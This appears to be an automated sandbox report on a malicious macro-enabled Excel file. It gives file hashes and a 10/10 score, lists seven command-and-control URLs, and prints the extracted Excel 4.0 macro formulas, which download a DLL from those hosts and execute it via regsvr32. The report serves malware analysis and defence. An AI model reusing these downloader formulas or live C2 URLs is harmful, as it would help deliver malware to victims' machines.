General

  • Target

    4b2be83114240fe28eb4dbb8b51e19c4d3a18897329d9c7de136d11fd2cf05ae

  • Size

    21KB

  • MD5

    3b1c27c180c794aa41a3e3f953f86093

  • SHA1

    24dbd38b3f7d8782a8e41dcdd62ad4a75eec7678

  • SHA256

    4b2be83114240fe28eb4dbb8b51e19c4d3a18897329d9c7de136d11fd2cf05ae

  • SHA512

    33a2402d73f58c27e8f02d44125279a344a375f82905fa197df9ccf63f49a898b9540f29a8c5839fae3daa180ce3847ee98e175c650e66e72ca188b35ef8bd65

  • SSDEEP

    384:/huAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:/tsNxzXQFCBn9kC+xbL71

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

https://brutobrasil.com.br/pdf/toO18cIP3/

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/

http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/

http://bcelectronics.co.za/wp-content/grKnz1V/

http://bebesel.com.tr/cgi-bin/1wy3oHO/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beetle-j.jp/wp-admin/ErM4mW05tdj/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/toO18cIP3/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bcelectronics.co.za/wp-content/grKnz1V/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bebesel.com.tr/cgi-bin/1wy3oHO/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 4b2be83114240fe28eb4dbb8b51e19c4d3a18897329d9c7de136d11fd2cf05ae
    .xlsm office2007